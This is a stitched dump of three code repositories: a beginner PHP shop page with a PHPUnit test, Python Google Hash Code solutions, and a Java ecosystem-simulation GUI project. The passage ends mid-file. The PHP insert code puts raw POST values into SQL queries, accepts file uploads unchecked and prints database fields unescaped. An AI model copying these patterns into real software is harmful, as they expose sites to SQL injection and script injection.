echo"!!!!!!"; $q=mysql_query("INSERT INTO tovar (name, opis, cena) VALUES ( '$_POST[name]', '$_POST[opis]', '$_POST[cena]')"); $id=mysql_insert_id(); $new_name="tov/".$id.'.JPG'; $source=$_FILES["userfile"]["tmp_name"]; $id=mysql_insert_id(); move_uploaded_file($source,$new_name); } i ?> </body> </html> <file_sep>/PlusTest.php <?php /** * Created by PhpStorm. * User: Юрий * Date: 03.12.2017 * Time: 20:37 */ require 'Plus.php'; class PlusTest extends PHPUnit_Framework_TestCase { private $Plus; protected function setUp() { $this->plus = new Plus(); } protected function tearDown() { $this->plus = NULL; } public function testAdd() { $result = $this->plus->add(1, 2); $this->assertEquals(3, $result); } } <file_sep>/index.php <!doctype html> <html> <head> <meta charset="utf-8"> <title>Документ без названия</title> </head> <body> <?php ?> <!doctype html> <html> <head> <meta charset="utf-8"> <style> .magaz { text-align:center; width:auto; padding:40px; margin:auto; background:hsla(359,67%,43%,1.00); } </style> <title><NAME></title> </head> <body> <div class="magaz"> <?php include 'connect.php'; $q=mysql_query("SELECT * FROM tovar"); $n=mysql_num_rows($q); echo "<table>"; echo "<caption>Magazin</caption>"; while ($f=mysql_fetch_array($q)) { echo "<tr>"; echo "<td>$f[name]</td>"; echo "<td>$f[opis]</td>"; echo "<td><img width='100' src='tov/".$f[id].".JPG'></td>"; echo "<td>$f[cena]</td>"; echo "</tr>"; } ?> </body> </html>
e4750812040a1083371b871692ae45049ac0d1b1
[ "PHP" ]
3
PHP
DmitryChugaevsky/DmitryChugaevsky.github.io
bd4c71413854b1060659f661acc1bd2cea223660
3123b442cda514ebba649147793f9745c29f52b8
refs/heads/master
<file_sep>from random import shuffle, sample pics = open('/users/bscdsa2022/mc64/b_lovely_landscapes.txt') pictures = {} count = -1 for line in pics: words = line.split(' ') words[-1] = words[-1][:-1] pictures[count] = words count += 1 del pictures[-1] #print(pictures) pics.close() #--------------------------------------------------------- V_list = [] H_list = [] for id, att in pictures.items(): if att[0] == 'V': V_list.append(id) else: H_list.append(id) #------------------------------------------------------------------ def countPoints(sl): total = 0 for i in range(0, len(sl)-1): if isinstance(sl[i], list): tags1 = list(set([tag for tag in pictures[sl[i][0]][2:] + pictures[sl[i][1]][2:]])) else: tags1 = [tag for tag in pictures[sl[i]][2:]] if isinstance(sl[i+1], list): tags2 = list(set([tag for tag in pictures[sl[i+1][0]][2:] + pictures[sl[i+1][1]][2:]])) else: tags2 = [tag for tag in pictures[sl[i+1]][2:]] points = [] c = 0 for tag in tags1: if tag in tags2: c += 1 points.append(c) points.append(len(tags1)-c) points.append(len(tags2)-c) total += min(points) return total print(countPoints([0, 3, [1, 2]])) #---------------------------------------------------------------------------------------------------- def countDups(i, j, V_slides, pictures): tags_a = [tag for tag in pictures[V_slides[i]][2:]] tags_b = [tag for tag in pictures[V_slides[j]][2:]] c = 0 for tag in tags_a: if tag in tags_b: c+=1 return c def CountPairPoints(i, j, slide, pictures): if isinstance(slide[i], list): tags_a = list(set([tag for tag in pictures[slide[i][0]][2:] + pictures[slide[i][1]][2:]])) else: tags_a = [tag for tag in pictures[slide[i]][2:]] if isinstance(slide[j], list): tags_b = list(set([tag for tag in pictures[slide[j][0]][2:] + pictures[slide[j][1]][2:]])) else: tags_b = [tag for tag in pictures[slide[j]][2:]] points = [] c = 0 for tag in tags_a: if tag in tags_b: c += 1 points.append(c) points.append(len(tags_a)-c) points.append(len(tags_b)-c) return min(points) def slideGenerator(dic): V_slide_order = sample(V_list, len(V_list)) #=================================================================================== for i in range(0, len(V_slide_order), 2): minV = 2000 for j in range(i+1, len(V_slide_order)): PairDups = countDups(i, j, V_slide_order, dic) if PairDups < minV: minV = PairDups indexJ = j if minV == 0: break V_slide_order[i+1], V_slide_order[indexJ] = V_slide_order[indexJ], V_slide_order[i+1] #============================================================================================= V_pairs = [] for i in range(0, len(V_slide_order)-1, 2): V_pairs.append([V_slide_order[i], V_slide_order[i+1]]) total_slide = sample(V_pairs + H_list, len(V_pairs + H_list)) for i in range(0, len(total_slide)-1): maxT = -1 for j in range(i+1, len(total_slide)): PairPoints = CountPairPoints(i, j, total_slide, pictures) if PairPoints > maxT: maxT = PairPoints indexJ = j if maxT > 6: break total_slide[i+1], total_slide[indexJ] = total_slide[indexJ], total_slide[i+1] return total_slide points=0 while points < 2: slide = slideGenerator(pictures) points = countPoints(slide) print(points) f = open('answ.txt', 'w') f.writelines(str(len(slide))+ '\n') for line in slide: if isinstance(line, list): f.writelines(str(line[0])+ ' ' + str(line[1]) + '\n') else: f.writelines (str(line) + '\n') f.close() <file_sep>file = open('input_files/e_so_many_books.txt', 'r') line = file.readline() num_books, num_libs, num_days = list(map(int, line.split())) del line books_points = file.readline().split() books_points = list(map(int, books_points)) # index i has book i with its amount of points print("h") libraries = [] scanned_books = [] out = '' days_passed = 0 ################################################################## ''' class Book: def __init__(self, score): self.score = score ''' class Library: def __init__(self, books, time, num_books, ship_per_day, lib_num): self.lib_num = lib_num self.books = books self.time = time self.num_books = num_books self.ship_per_day = ship_per_day self.scanned = 0 self.points = 0 for x in self.books: self.points += books_points[x] self.score = self.num_books/self.time def __str__(self): return str(self.lib_num) def signup(self, days_passed): days_passed += self.time def scan_books(self, num_days, days_passed): lib_out = '' books_scannable = (num_days - days_passed) * self.ship_per_day for i in self.books: if books_scannable <= 0: continue if i not in scanned_books: scanned_books.append(i) lib_out += str(i) + ' ' books_scannable -= 1 self.scanned += 1 return lib_out c = 0 for i in range(num_libs): line = list(map(int, file.readline().split())) # num of books, signup length, ship per day books = list(map(int, file.readline().split())) # index i has book x libraries.append(Library(books, line[1], line[0], line[2], c)) c += 1 libraries.sort(key=lambda x: (-x.score, x.time, -x.ship_per_day)) output = open('hash_answers.txt', 'w') d = 0 c = 0 out = '' while days_passed < num_days and d < num_libs: libraries[d].signup(days_passed) books = libraries[d].scan_books(num_days, days_passed) lib_and_books = str(libraries[d].lib_num) + ' ' + str(libraries[d].scanned) if libraries[d].scanned > 0: out += lib_and_books + '\n' + books + '\n' c += 1 else: days_passed -= libraries[d].time d += 1 output.write(str(c) + '\n') output.write(out) del out file.close() output.close()
cd00055b22ca69f9bfed074bc9193a9b29d03ce2
[ "Python" ]
2
Python
maximised/Google_hash_code
4ee5d53ec43c34692acd54a682db286ea4f5cacb
3015d1dfd8da1814bf768bf51670db63d1ab2fbd
refs/heads/master
<repo_name>theblackunknown/creative-ecosystems<file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/SaveImageAction.java package org.blackpanther.ecosystem.gui.actions; import javax.imageio.ImageIO; import javax.swing.*; import javax.swing.filechooser.FileNameExtensionFilter; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class SaveImageAction extends FileBrowserAction { private SaveImageAction() { super("Save current image", "Image files", "png", "bmp", "gif", "jpeg" ); } private static class SaveImageHolder { private static final SaveImageAction instance = new SaveImageAction(); } public static SaveImageAction getInstance() { return SaveImageHolder.instance; } @Override public void actionPerformed(ActionEvent e) { Monitor.pauseEvolution(); BufferedImage image = Monitor.dumpCurrentImage(); if (image == null) return; Component parent = e.getSource() instanceof Component ? ((Component) e.getSource()).getParent() : null; switch (fc.showSaveDialog(parent)) { case JFileChooser.APPROVE_OPTION: File selectedFile = fc.getSelectedFile(); int returnVal = JOptionPane.OK_OPTION; if (selectedFile.exists()) { returnVal = JOptionPane.showConfirmDialog( parent, "Are you sure you want to overwrite : " + selectedFile.getName() + " ?", "File collision !", JOptionPane.YES_NO_OPTION ); } boolean gotExtension = selectedFile.getName().contains("."); String extension = gotExtension ? selectedFile.getName().substring( selectedFile.getName().lastIndexOf(".") + 1, selectedFile.getName().length() ) : "png"; File file = gotExtension ? selectedFile : new File(selectedFile.getAbsolutePath() + ".png"); if (returnVal == JOptionPane.OK_OPTION) { try { ImageIO.write( image, extension, file); JOptionPane.showMessageDialog( parent, "File saved : " + file.getName(), "Save operation", JOptionPane.INFORMATION_MESSAGE); } catch (IOException e1) { JOptionPane.showMessageDialog( parent, "Couldn't save image file : " + e1.getLocalizedMessage(), "Save operation", JOptionPane.ERROR_MESSAGE); } } } } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/IntegerSpinnerField.java package org.blackpanther.ecosystem.gui.settings.fields; import org.blackpanther.ecosystem.factory.fields.FieldMould; import org.blackpanther.ecosystem.factory.fields.StateFieldMould; import javax.swing.*; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ public class IntegerSpinnerField extends SettingField<Integer> { private JSpinner valueSelector; public IntegerSpinnerField(String name, SpinnerModel model){ super(name); valueSelector.setModel(model); } @Override protected void initializeComponents(String fieldName) { valueSelector = new JSpinner(); valueSelector.setName(fieldName); } @Override public JComponent getMainComponent() { return valueSelector; } @Override public void setValue(Integer newValue) { valueSelector.setValue(newValue); } @Override public Integer getValue() { return (Integer) valueSelector.getValue(); } @Override public FieldMould<Integer> toMould() { return new StateFieldMould<Integer>( getMainComponent().getName(), new org.blackpanther.ecosystem.factory.generator.provided.IntegerProvider(getValue()) ); } }<file_sep>/pom.xml <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.blackpanther</groupId> <artifactId>creative-ecosystems</artifactId> <version>1.0-alpha</version> <modules> <module>ecosystem-framework</module> <module>gui-ecosystem</module> </modules> <packaging>pom</packaging> <name>Creative Ecosystem Project</name> <url>https://github.com/blackpanther/creative-ecosystems</url> <!-- TODO Handle license --> <licenses> </licenses> <developers> <developer> <id>blackpanther</id> <name><NAME></name> <email><EMAIL></email> <roles> <role>developper</role> </roles> <timezone>+1</timezone> </developer> </developers> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <targetJVM>1.6</targetJVM> <junit.version>4.8.2</junit.version> <javadoc.version>2.7</javadoc.version> <checkstyle.version>2.6</checkstyle.version> <pmd.version>2.5</pmd.version> <jxr.version>2.2</jxr.version> </properties> <build> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>${targetJVM}</source> <target>${targetJVM}</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-site-plugin</artifactId> <version>3.0-beta-3</version> <configuration> <reportPlugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-javadoc-plugin</artifactId> <version>${javadoc.version}</version> <reportSets> <reportSet> <id>uml</id> <configuration> <doclet>gr.spinellis.umlgraph.doclet.UmlGraph</doclet> <docletArtifact> <groupId>gr.spinellis</groupId> <artifactId>UmlGraph</artifactId> <version>4.4</version> </docletArtifact> <additionalparam>-views</additionalparam> <destDir>target/uml</destDir> <show>private</show> </configuration> <reports> <report>javadoc</report> </reports> </reportSet> <reportSet> <id>html</id> <configuration> <show>private</show> </configuration> <reports> <report>javadoc</report> </reports> </reportSet> </reportSets> <configuration> <show>public</show> <links> <link>http://download.oracle.com/javase/6/docs/api/</link> </links> <javaApiLinks> <javaApiLinks> <property> <name>api_1.6</name> <value>http://download.oracle.com/javase/6/docs/api/</value> </property> </javaApiLinks> </javaApiLinks> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-checkstyle-plugin</artifactId> <version>${checkstyle.version}</version> <configuration> <consoleOutput>true</consoleOutput> <configLocation>checkstyle.xml</configLocation> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-pmd-plugin</artifactId> <version>${pmd.version}</version> <configuration> <targetJdk>${targetJVM}</targetJdk> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jxr-plugin</artifactId> <version>${jxr.version}</version> </plugin> </reportPlugins> </configuration> </plugin> </plugins> </pluginManagement> </build> <distributionManagement> <site> <id>site</id> <name>Project Site</name> <url>file:///${user.dir}/target/deployed-site</url> </site> </distributionManagement> <dependencyManagement> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>${junit.version}</version> </dependency> </dependencies> </dependencyManagement> </project> <file_sep>/gui-ecosystem/src/main/resources/application.properties space-width=900.0 space-height=900.0 max-agent-number=1200 resource-threshold=500.0 speed-threshold=10.0 curvature-threshold=0.05 sensor-radius-threshold=10.0 energy-threshold=1000.0 fecundation-consummation-threshold=100.0 probability-variation=0.01 curvature-variation=0.1 angle-variation=0.1 speed-variation=0.1 color-variation=50 line-obstruction=true perlin-noise=true<file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/settings/fields/mutable/SpinnerField.java package org.blackpanther.ecosystem.gui.settings.fields.mutable; import org.blackpanther.ecosystem.factory.fields.FieldMould; import org.blackpanther.ecosystem.factory.fields.GeneFieldMould; import javax.swing.*; import java.awt.*; import java.awt.event.ActionListener; import java.beans.EventHandler; import static org.blackpanther.ecosystem.helper.Helper.createLabeledField; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:59 CEST 2011 */ public class SpinnerField extends org.blackpanther.ecosystem.gui.settings.fields.randomable.SpinnerField implements Mutable { private JCheckBox mutable; public SpinnerField(String name, SpinnerModel model) { super(name, model); } @Override protected void initializeComponents(String fieldName) { super.initializeComponents(fieldName); mutable = new JCheckBox(); mutable.addActionListener(EventHandler.create( ActionListener.class, mutable, "setSelected", "source.selected" )); } @Override protected void placeComponents(JPanel layout) { super.placeComponents(layout); GridBagConstraints constraints = new GridBagConstraints(); layout.add(createLabeledField( "M", mutable, CHECKBOX_DIMENSION ), constraints); } @Override public boolean isMutable() { return mutable.isSelected(); } @Override public void setMutable(boolean mutable) { this.mutable.setSelected(mutable); } @Override public FieldMould<Double> toMould() { SpinnerNumberModel model = (SpinnerNumberModel) valueSelector.getModel(); Double min = (Double) model.getMinimum(); Double max = (Double) model.getMaximum(); return new GeneFieldMould<Double>( getMainComponent().getName(), isRandomized() ? new org.blackpanther.ecosystem.factory.generator.random.DoubleProvider(min, max) : new org.blackpanther.ecosystem.factory.generator.provided.DoubleProvider(getValue()), isMutable() ); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/event/EvolutionListener.java package org.blackpanther.ecosystem.event; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public interface EvolutionListener { public void update(EvolutionEvent e); } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ToggleResources.java package org.blackpanther.ecosystem.gui.actions; import org.blackpanther.ecosystem.gui.GUIMonitor; import org.blackpanther.ecosystem.gui.GraphicEnvironment; import javax.swing.*; import java.awt.event.ActionEvent; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class ToggleResources extends AbstractAction{ private ToggleResources(){ super("Toggle Resources painting"); } private static class ToggleResourcesHolder { private static final ToggleResources instance = new ToggleResources(); } public static ToggleResources getInstance(){ return ToggleResourcesHolder.instance; } @Override public void actionPerformed(ActionEvent e) { GUIMonitor.Monitor.toggleOption(GraphicEnvironment.RESOURCE_OPTION); } } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/ToggleLineObstruction.java package org.blackpanther.ecosystem.gui.actions; import javax.swing.*; import java.awt.event.ActionEvent; import static org.blackpanther.ecosystem.ApplicationConstants.LINE_OBSTRUCTION_OPTION; import static org.blackpanther.ecosystem.Configuration.Configuration; /** * @author <NAME> * @version 26/05/11 */ public class ToggleLineObstruction extends AbstractAction { private ToggleLineObstruction() { super("Toggle line obstruction"); } private static class ToggleLineObstructionHolder { private static final ToggleLineObstruction instance = new ToggleLineObstruction(); } public static ToggleLineObstruction getInstance() { return ToggleLineObstructionHolder.instance; } @Override public void actionPerformed(ActionEvent e) { if (e.getSource() instanceof JCheckBox) { Configuration.setParameter( LINE_OBSTRUCTION_OPTION, ((JCheckBox) e.getSource()).isSelected(), Boolean.class ); } else Configuration.setParameter( LINE_OBSTRUCTION_OPTION, !Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class), Boolean.class ); } } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/factory/EnvironmentFactory.java package org.blackpanther.ecosystem.factory; import org.blackpanther.ecosystem.factory.fields.FieldsConfiguration; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public abstract class EnvironmentFactory<T> { abstract public T createAgent(FieldsConfiguration config); } <file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/Environment.java package org.blackpanther.ecosystem; import org.blackpanther.ecosystem.agent.Creature; import org.blackpanther.ecosystem.agent.Resource; import org.blackpanther.ecosystem.event.*; import org.blackpanther.ecosystem.line.TraceHandler; import org.blackpanther.ecosystem.math.Geometry; import java.awt.geom.Dimension2D; import java.awt.geom.Line2D; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.io.Serializable; import java.util.*; import java.util.concurrent.TimeUnit; import java.util.logging.Logger; import static org.blackpanther.ecosystem.ApplicationConstants.LINE_OBSTRUCTION_OPTION; import static org.blackpanther.ecosystem.Configuration.Configuration; import static org.blackpanther.ecosystem.SensorTarget.detected; import static org.blackpanther.ecosystem.helper.Helper.EPSILON; import static org.blackpanther.ecosystem.helper.Helper.computeOrientation; import static org.blackpanther.ecosystem.math.Geometry.getIntersection; /** * <p> * Component designed to represent an general ecosystem * But let's first use some basic non general features... * </p> * <ul> * <li>2D grid as space</li> * <li>fixed-size bounds (<i>size means number of case width</i>)</li> * <li>Trace timeline by cycle</li> * </ul> * * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class Environment implements Serializable, Cloneable, AgentListener { /* *========================================================================= * STATIC PART *========================================================================= */ private static final Logger logger = Logger.getLogger( Environment.class.getCanonicalName() ); private static final long serialVersionUID = 5L; private static long idGenerator = 0L; private static int AREA_COLUMN_NUMBER = 50; private static int AREA_ROW_NUMBER = 50; /* *========================================================================= * CLASS ATTRIBUTES *========================================================================= */ private Long id = ++idGenerator; /** * Environment space */ protected Area[][] space; private Rectangle2D bounds; /** * Time tracker */ protected int timetracker; /** * Population */ protected List<Creature> creaturePool = new ArrayList<Creature>(); private Collection<Resource> resourcePool = new ArrayList<Resource>(); /* *========================================================================= * MISCELLANEOUS *========================================================================= */ /** * Component that can monitor an environment * * @see java.beans.PropertyChangeSupport */ protected EnvironmentMonitor eventSupport; private Stack<Creature> nextGenerationBuffer = new Stack<Creature>(); private Line2D[] boundLines = new Line2D[4]; public Environment(double width, double height) { this(new Geometry.Dimension(width, height)); } public Environment(Dimension2D dimension) { this.bounds = dimension == null ? new Rectangle2D.Double( -Double.MAX_VALUE / 2.0, -Double.MAX_VALUE / 2.0, Double.MAX_VALUE, Double.MAX_VALUE) : new Rectangle2D.Double( -dimension.getWidth() / 2.0, -dimension.getHeight() / 2.0, dimension.getWidth(), dimension.getHeight()); //NORTH LINE boundLines[0] = new Line2D.Double( bounds.getX(), bounds.getY(), bounds.getX() + bounds.getWidth(), bounds.getY() ); //EAST LINE boundLines[1] = new Line2D.Double( bounds.getX() + bounds.getWidth(), bounds.getY(), bounds.getX() + bounds.getWidth(), bounds.getY() + bounds.getHeight() ); //SOUTH LINE boundLines[2] = new Line2D.Double( bounds.getX(), bounds.getY() + bounds.getHeight(), bounds.getX() + bounds.getWidth(), bounds.getY() + bounds.getHeight() ); //WEST LINE boundLines[3] = new Line2D.Double( bounds.getX(), bounds.getY(), bounds.getX(), bounds.getY() + bounds.getHeight() ); //initialize space space = new Area[AREA_ROW_NUMBER][AREA_COLUMN_NUMBER]; double abscissaStartValue = bounds.getX(); double ordinateStartValue = bounds.getY(); double abscissaStep = bounds.getWidth() / AREA_COLUMN_NUMBER; double ordinateStep = bounds.getHeight() / AREA_ROW_NUMBER; double ordinateCursor = ordinateStartValue; double abscissaCursor; for (int rowIndex = 0; rowIndex < AREA_ROW_NUMBER; ordinateCursor += ordinateStep, rowIndex++) { abscissaCursor = abscissaStartValue; for (int columnIndex = 0; columnIndex < AREA_COLUMN_NUMBER; abscissaCursor += abscissaStep, columnIndex++) { space[rowIndex][columnIndex] = new Area( abscissaCursor, ordinateCursor, abscissaStep, ordinateStep ); } } //initialize timeline timetracker = 0; getEventSupport().addAgentListener(this); } /** * Internal unique environment identifier * * @return environment identifier */ public Long getId() { return id; } /** * Get current time (expressed as number of evolution's cycle) * since evolution has begun * * @return number of cycles since evolution's beginning */ public final int getTime() { return timetracker; } public Rectangle2D getBounds() { return bounds; } /** * Dump the current global agent's creaturePool at the current state * * @return copy of agent's creaturePool */ public final Collection<Creature> getCreaturePool() { return creaturePool; } /** * Get the whole environment draw's history * * @return environment's draw history */ public Set<Line2D> getHistory() { Set<Line2D> wholeHistory = new HashSet<Line2D>(); for (Area[] row : space) for (Area area : row) wholeHistory.addAll(area.getHistory()); return wholeHistory; } public final Collection<Resource> getResources() { return resourcePool; } /** * Add an monster to the environment. * The added monster will be monitored by corresponding case * and that till its death or till it moves from there * * @param mosntergent the monster */ public final void add(final Creature monster) { if (bounds.contains(monster.getLocation())) { monster.attachTo(this); creaturePool.add(monster); } } public final void add(final Resource resource) { if (bounds.contains(resource.getLocation())) { resource.attachTo(this); resourcePool.add(resource); } } /** * Add an agent collection to the environment. * The added agent will be monitored by corresponding case * and that till its death or till it moves from there * * @param monsters the agent collection */ public final void addCreatures(Collection<Creature> monsters) { for (Creature monster : monsters) add(monster); } public final void addResources( final Collection<Resource> resources) { for (Resource resource : resources) add(resource); } private Set<Area> getCrossedArea(Point2D from, Point2D to) { Set<Area> crossedArea = new HashSet<Area>( AREA_ROW_NUMBER * AREA_COLUMN_NUMBER); for (Area[] row : space) { for (final Area area : row) { //line is totally contained by this area // OMG this is so COOL ! if (area.contains(from) || area.contains(to)) { crossedArea.add(area); } } } return crossedArea; } long totalComparison = 0; /** * <p> * Iterate over one cycle. * The current process is described below : * </p> * <ol> * <li>Update every agent in the creaturePool.</li> * <li>Remove all agent which died at this cycle</li> * <li>Increment timeline</li> * </ol> * <p> * Environment is ended if no more agents are alive at after the update step. * </p> */ public final void runNextCycle() { if (timetracker == 0) getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.STARTED); long start = System.nanoTime(); //update environment state updatePool(); logger.fine(String.format( "Pool updated in %d milliseconds", TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - start) )); logger.fine(String.format( "%d comparisons made in this cycle", totalComparison )); totalComparison = 0; //update timeline logger.info(String.format( "%s 's cycle %d ended, %d agents remaining", this, timetracker, creaturePool.size())); timetracker++; getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.CYCLE_END); if (creaturePool.size() == 0) { endThisWorld(); } } /** * Update the environment's state * Internal process. */ private void updatePool() { //update all agents //if they die, they are simply not kept in the next creaturePool for (Creature monster : creaturePool) { monster.update(this); } for (int i = 0; i < creaturePool.size(); ) if (!creaturePool.get(i).isAlive()) creaturePool.remove(i); else i++; creaturePool.addAll(nextGenerationBuffer); nextGenerationBuffer.clear(); } /** * Method to end the evolution of this world * and freeze its state */ public final void endThisWorld() { logger.info(String.format("The evolution's game paused. %s's statistics[%d cycle]", this, timetracker)); getEventSupport().fireEvolutionEvent(EvolutionEvent.Type.ENDED); } @Override public String toString() { return String.format("Environment#%s", Long.toHexString(id)); } @Override public Environment clone() { Environment copy = new Environment(getBounds().getWidth(), getBounds().getHeight()); for (Creature monster : creaturePool) copy.add(monster.clone()); for (Resource resource : resourcePool) copy.add(resource.clone()); for (int i = 0; i < copy.space.length; i++) for (int j = 0; j < copy.space[0].length; j++) copy.space[i][j].internalDrawHistory.addAll( space[i][j].internalDrawHistory); return copy; } /*===================================================================== * LISTENERS *===================================================================== */ public void addAgentListener(AgentListener listener) { getEventSupport().addAgentListener(listener); } public void addLineListener(LineListener listener) { getEventSupport().addLineListener(listener); } public void addEvolutionListener(EvolutionListener listener) { getEventSupport().addEvolutionListener(listener); } public void nextGeneration(Creature child) { child.attachTo(this); nextGenerationBuffer.push(child); } long comparison = 0; public boolean move(Creature that, Point2D from, Point2D to) { Set<Area> crossedAreas = getCrossedArea(from, to); boolean collision = false; for (Area area : crossedAreas) { collision = area.trace(that, from, to) || collision; } logger.finer(String.format( "%d comparison to place a line", comparison )); totalComparison += comparison; comparison = 0; return collision; } public void removeAgentListener(AgentListener listener) { getEventSupport().removeAgentListener(listener); } public void removeEvolutionListener(EvolutionListener listener) { getEventSupport().removeEvolutionListener(listener); } public void removeLineListener(LineListener listener) { getEventSupport().removeLineListener(listener); } public EnvironmentMonitor getEventSupport() { if (eventSupport == null) eventSupport = new EnvironmentMonitor(this); return eventSupport; } public void clearAllExternalsListeners() { eventSupport.clearAllExternalsListeners(); } @Override public void update(AgentEvent e) { switch (e.getType()) { case DEATH: if (e.getAgent() instanceof Resource) { resourcePool.remove(e.getAgent()); break; } } } public SenseResult aggregateInformation(Geometry.Circle circle) { Collection<SensorTarget<Creature>> detectedAgents = new LinkedList<SensorTarget<Creature>>(); for (Creature monster : creaturePool) if (circle.contains(monster.getLocation()) && !(monster.getLocation().distance(circle.getCenter()) < EPSILON)) { double agentOrientation = computeOrientation( circle.getCenter(), monster.getLocation()); detectedAgents.add(detected(agentOrientation, monster)); } Collection<SensorTarget<Resource>> detectedResources = new LinkedList<SensorTarget<Resource>>(); for (Resource resource : resourcePool) if (circle.contains(resource.getLocation()) && !(resource.getLocation().distance(circle.getCenter()) < EPSILON)) { double resourceOrientation = computeOrientation( circle.getCenter(), resource.getLocation()); detectedResources.add(detected(resourceOrientation, resource)); } return new SenseResult(detectedAgents, detectedResources); } /** * <p> * Component designed to represent a state of a grid space * It can be consider as a small viewport of the global space. * It has the ability to monitor agent in its area, * for example it can provide useful information * - like the number of close agents * - how close they are * - which they are * to its own population within its area * </p> * * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public class Area extends Rectangle2D.Double implements Serializable { private Collection<Line2D> internalDrawHistory = new LinkedList<Line2D>(); public Area(double x, double y, double w, double h) { super(x, y, w, h); } public Collection<Line2D> getHistory() { return internalDrawHistory; } /** * Add a line to draw in the drawn line history. * It determines if the given line cross an already drawn one, * if that event happens, it will save a line from given line's origin to the intersection point * * @param line line to draw * @return <code>true</code> if draughtsman must be die after his movement, * <code>false</code> otherwise. */ public boolean trace(Creature that, Point2D from, Point2D to) { Line2D agentLine = TraceHandler.trace(from, to, that); //go fly away little birds, you no longer belong to me ... if (!bounds.contains(to)) { //detect which border has been crossed and where for (Line2D border : boundLines) { Point2D intersection = getIntersection(border, agentLine); if (intersection != null) { Line2D realLine = TraceHandler.trace(from, intersection, that); //We add a drawn line from agent's old location till intersection internalDrawHistory.add(realLine); getEventSupport().fireLineEvent(LineEvent.Type.ADDED, realLine); //Yes, unfortunately, the agent died - this is Sparta here dude return true; } } throw new RuntimeException("Border detection failed"); } //no intersection can happen with this option if (Configuration.getParameter(LINE_OBSTRUCTION_OPTION, Boolean.class)) { for (Line2D historyLine : internalDrawHistory) { //check if this line can cross the history line before computing intersection (compute is cheaper) if (!TraceHandler.canCross(agentLine, historyLine)) { Point2D intersection = getIntersection(historyLine, agentLine); if (intersection != null //Intersection with the line's start is not an intersection && !intersection.equals(from)) { Line2D realLine = TraceHandler.trace(from, intersection, that); //We add a drawn line from agent's old location till intersection internalDrawHistory.add(realLine); getEventSupport().fireLineEvent(LineEvent.Type.ADDED, realLine); //Yes, unfortunately, the agent died - this is Sparta here dude return true; } } } } //Everything went better than expected internalDrawHistory.add(agentLine); getEventSupport().fireLineEvent(LineEvent.Type.ADDED, agentLine); return false; } } }<file_sep>/ecosystem-framework/src/main/java/org/blackpanther/ecosystem/agent/AgentConstants.java package org.blackpanther.ecosystem.agent; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:57 CEST 2011 */ public interface AgentConstants { public static final String AGENT_LOCATION = "agent-location"; public static final String[] AGENT_STATE = new String[]{ AGENT_LOCATION }; public static final String[] BUILD_PROVIDED_AGENT_STATE = new String[]{ AGENT_LOCATION, }; } <file_sep>/gui-ecosystem/src/main/java/org/blackpanther/ecosystem/gui/actions/LoadConfigurationAction.java package org.blackpanther.ecosystem.gui.actions; import javax.swing.*; import javax.swing.filechooser.FileNameExtensionFilter; import java.awt.*; import java.awt.event.ActionEvent; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; import java.util.Properties; import static org.blackpanther.ecosystem.Configuration.Configuration; import static org.blackpanther.ecosystem.gui.GUIMonitor.Monitor; /** * @author <NAME> * @version 1.0-alpha - Tue May 24 23:49:58 CEST 2011 */ public class LoadConfigurationAction extends AbstractAction { private JFileChooser fileLoader = new JFileChooser("."); // Start in current directory private LoadConfigurationAction() { super("Load default parameters"); fileLoader.setFileFilter(new FileNameExtensionFilter( "Application properties", "properties" )); fileLoader.setFileSelectionMode(JFileChooser.FILES_ONLY); fileLoader.setMultiSelectionEnabled(false); } private static class LoadConfigurationHolder { private static final LoadConfigurationAction instance = new LoadConfigurationAction(); } public static LoadConfigurationAction getInstance() { return LoadConfigurationHolder.instance; } @Override public void actionPerformed(ActionEvent e) { Monitor.pauseEvolution(); Component parent = ((Component) e.getSource()).getParent(); switch (fileLoader.showOpenDialog(parent)) { case JFileChooser.APPROVE_OPTION: try { Properties loadedProperties = new Properties(); loadedProperties.load( new FileReader(fileLoader.getSelectedFile()) ); 